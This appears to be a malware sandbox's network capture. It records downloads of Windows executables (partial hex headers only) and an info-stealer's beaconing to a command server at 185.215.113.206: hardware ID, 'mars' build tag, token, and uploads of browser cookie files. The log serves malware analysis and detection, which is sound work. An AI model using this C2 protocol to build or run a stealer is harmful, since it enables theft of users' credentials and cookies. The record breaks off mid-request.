Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 18:53:07 GMTContent-Type: application/octet-streamContent-Length: 1924608Last-Modified: Sat, 23 Nov 2024 18:38:26 GMTConnection: keep-aliveETag: "67422122-1d5e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 c0 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 4c 00 00 04 00 00 fd 62 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 a0 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 a0 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 6a 69 6b 73 72 71 75 00 50 1a 00 00 60 32 00 00 42 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 63 65 71 79 61 70 65 00 10 00 00 00 b0 4c 00 00 04 00 00 00 38 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 4c 00 00 22 00 00 00 3c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 18:54:09 GMTContent-Type: application/octet-streamContent-Length: 1984512Last-Modified: Sat, 23 Nov 2024 17:59:33 GMTConnection: keep-aliveETag: "67421805-1e4800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 b0 4b 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 4b 00 00 04 00 00 f3 a3 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 56 e0 07 00 6a 00 00 00 00 c0 07 00 70 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 e1 07 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 07 00 00 10 00 00 00 3c 04 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 70 17 00 00 00 c0 07 00 00 0a 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 e0 07 00 00 02 00 00 00 56 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 29 00 00 f0 07 00 00 02 00 00 00 58 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 74 74 6e 62 62 64 65 00 d0 19 00 00 d0 31 00 00 c8 19 00 00 5a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 62 65 6c 77 76 6d 6b 00 10 00 00 00 a0 4b 00 00 04 00 00 00 22 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 4b 00 00 22 00 00 00 26 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 18:54:18 GMTContent-Type: application/octet-streamContent-Length: 4384256Last-Modified: Sat, 23 Nov 2024 17:21:55 GMTConnection: keep-aliveETag: "67420f33-42e600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 40 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 c4 00 00 04 00 00 e5 15 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 23 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 22 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 37 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 63 6e 76 70 74 79 67 00 40 1b 00 00 f0 a8 00 00 34 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 67 78 6b 61 64 77 73 00 10 00 00 00 30 c4 00 00 04 00 00 00 c0 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 c4 00 00 22 00 00 00 c4 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIIIDGHJEBFBGDHDGIIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 35 39 42 41 39 37 42 34 32 43 31 32 30 34 33 34 39 37 34 38 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 2d 2d 0d 0a Data Ascii: ------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="hwid"DD59BA97B42C1204349748------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="build"mars------FIIIIDGHJEBFBGDHDGII--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAFBKECAKFCAAAKJDAKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 64 33 63 64 37 61 34 33 66 65 33 65 34 33 33 32 65 32 65 31 61 65 66 35 31 33 64 65 31 36 32 62 66 65 61 39 61 61 30 65 61 31 66 30 30 34 30 31 62 36 39 36 38 36 30 36 39 39 31 34 35 32 39 62 33 61 61 64 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 2d 2d 0d 0a Data Ascii: ------JDAFBKECAKFCAAAKJDAKContent-Disposition: form-data; name="token"0d3cd7a43fe3e4332e2e1aef513de162bfea9aa0ea1f00401b69686069914529b3aad17e------JDAFBKECAKFCAAAKJDAKContent-Disposition: form-data; name="message"browsers------JDAFBKECAKFCAAAKJDAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJKECAAAFHJECAAAEBFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 64 33 63 64 37 61 34 33 66 65 33 65 34 33 33 32 65 32 65 31 61 65 66 35 31 33 64 65 31 36 32 62 66 65 61 39 61 61 30 65 61 31 66 30 30 34 30 31 62 36 39 36 38 36 30 36 39 39 31 34 35 32 39 62 33 61 61 64 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 2d 2d 0d 0a Data Ascii: ------GHJKECAAAFHJECAAAEBFContent-Disposition: form-data; name="token"0d3cd7a43fe3e4332e2e1aef513de162bfea9aa0ea1f00401b69686069914529b3aad17e------GHJKECAAAFHJECAAAEBFContent-Disposition: form-data; name="message"plugins------GHJKECAAAFHJECAAAEBF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKKFCBAKKFBGCBFHJDGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 64 33 63 64 37 61 34 33 66 65 33 65 34 33 33 32 65 32 65 31 61 65 66 35 31 33 64 65 31 36 32 62 66 65 61 39 61 61 30 65 61 31 66 30 30 34 30 31 62 36 39 36 38 36 30 36 39 39 31 34 35 32 39 62 33 61 61 64 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 2d 2d 0d 0a Data Ascii: ------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="token"0d3cd7a43fe3e4332e2e1aef513de162bfea9aa0ea1f00401b69686069914529b3aad17e------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="message"fplugins------DBKKFCBAKKFBGCBFHJDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDBFIIECBGDGDGDHCAKHost: 185.215.113.206Content-Length: 7027Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIJKEHCAKFCAKFHDAAAHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 64 33 63 64 37 61 34 33 66 65 33 65 34 33 33 32 65 32 65 31 61 65 66 35 31 33 64 65 31 36 32 62 66 65 61 39 61 61 30 65 61 31 66 30 30 34 30 31 62 36 39 36 38 36 30 36 39 39 31 34 35 32 39 62 33 61 61 64 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 2d 2d 0d 0a Data Ascii: ------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="token"0d3cd7a43fe3e4332e2e1aef513de162bfea9aa0ea1f00401b69686069914529b3aad17e------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------EGIJKEHCAKFCAKFHDAAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJJKFCBGIDGHIECGCBKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 64 33 63 64 37 61 34 33 66 65 33 65 34 33 33 32 65 32 65 31 61 65 66 35 31 33 64 65 31 36 32 62 66 65 61 39 61 61 30 65 61 31 66 30 30 34 30 31 62 36 39 36 38 36 30 36 39 39 31 34 35 32 39 62 33 61 61 64 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="token"0d3cd7a43fe3e4332e2e1aef513de162bfea9aa0ea1f00401b69686069914529b3aad17e------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="file"------EHJJKFCBGIDGHIECGCBK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHDHIEGIIIDHIDHDHJJHost: 185.215.113.206Content-Length: 431Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 64 33 63 64 37 61 34 33 66 65 33 65 34 33 33 32 65 32 65 31 61 65 66 35 31 33 64 65 31 36 32 62 66 65 61 39 61 61 30 65 61 31 66 30 30 34 30 31 62 36 39 36 38 36 30 36 39 39 31 34 35 32 39 62 33 61 61 64 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 2d 2d 0d 0a Data Ascii: ------JEHDHIEGIIIDHIDHDHJJContent-Disposition: form-data; name="token"0d3cd7a43fe3e4332e2e1aef513de162bfea9aa0ea1f00401b69686069914529b3aad17e------JEHDHIEGIIIDHIDHDHJJContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------JEHDHIEGIIIDHIDHDHJJContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------JEHDHIEGIIIDHIDHDHJJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJDGDGDHDGDBFIDHDBAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 64 33 63 64 37 61 34 33 66 65 33 65 34 33 33 32 65 32 65 31 61 65 66 35 31 33 64 65 31 36 32 62 66 65 61 39 61 61 30 65 61 31 66 30 30 34 30 31 62 36 39 36 38 36 30 36 39 39 31 34 35 32 39 62 33 61 61 64 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 2d 2d 0d 0a Data Ascii: ------AKJDGDGDHDGDBFIDHDBAContent-Disposition: form-data; 